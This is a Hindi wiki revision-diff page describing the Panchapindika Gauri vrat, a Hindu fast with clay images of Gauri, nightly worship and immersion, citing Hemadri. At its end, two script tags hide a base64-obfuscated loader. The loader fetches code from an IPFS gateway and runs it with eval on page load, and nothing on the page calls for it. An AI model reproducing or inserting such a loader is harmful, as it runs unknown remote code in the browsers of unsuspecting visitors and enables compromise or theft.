"पंचपिण्डिका गौरीव्रत": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(2 सदस्यों द्वारा किए गए बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*[[भाद्रपद]] [[शुक्ल पक्ष]] की [[तृतीया]] पर यह व्रत आरम्भ होता है। | *[[भाद्रपद]] [[शुक्ल पक्ष]] की [[तृतीया]] पर यह व्रत आरम्भ होता है। | ||
*उस दिन उपवास रखा जाता है। | *उस दिन उपवास रखा जाता है। | ||
पंक्ति 6: | पंक्ति 6: | ||
*आगे के तीन प्रहरों में विभिन्न मन्त्रों, धूप, नैवेद्य, पुष्पों आदि का उपयोग किया जाता है। | *आगे के तीन प्रहरों में विभिन्न मन्त्रों, धूप, नैवेद्य, पुष्पों आदि का उपयोग किया जाता है। | ||
*दूसरे दिन प्रातः सपत्नीक ब्राह्मण को सम्मानित किया जाता है। | *दूसरे दिन प्रातः सपत्नीक ब्राह्मण को सम्मानित किया जाता है। | ||
*गौरी की चारों प्रतिमाएँ हथिनी या घोड़ा की पीठ पर रखकर किसी नदी, तालाब या कूप में डाल दी जाती हैं।<ref>हेमाद्रि (व्रतखण्ड 1, 485-490, [[पद्म पुराण]] के नागरखण्ड से उद्धरण | *गौरी की चारों प्रतिमाएँ हथिनी या घोड़ा की पीठ पर रखकर किसी नदी, तालाब या कूप में डाल दी जाती हैं।<ref>हेमाद्रि (व्रतखण्ड 1, 485-490, [[पद्म पुराण]] के नागरखण्ड से उद्धरण</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
12:45, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- भाद्रपद शुक्ल पक्ष की तृतीया पर यह व्रत आरम्भ होता है।
- उस दिन उपवास रखा जाता है।
- रात्रि के आगमन पर गौरी की चार प्रतिमाएँ गीली मिट्टी से बनायी जाती हैं, एक अतिरिक्त प्रतिमा पर मिट्टी के पाँच खण्ड रखे जाते हैं।
- प्रत्येक प्रहर में प्रतिमाओं की पूजा मन्त्र, धूप, कर्पूर, घृत के दीप, पुष्पों, नैवेद्य एवं अर्ध्य से की जाती है।
- आगे के तीन प्रहरों में विभिन्न मन्त्रों, धूप, नैवेद्य, पुष्पों आदि का उपयोग किया जाता है।
- दूसरे दिन प्रातः सपत्नीक ब्राह्मण को सम्मानित किया जाता है।
- गौरी की चारों प्रतिमाएँ हथिनी या घोड़ा की पीठ पर रखकर किसी नदी, तालाब या कूप में डाल दी जाती हैं।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 1, 485-490, पद्म पुराण के नागरखण्ड से उद्धरण
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>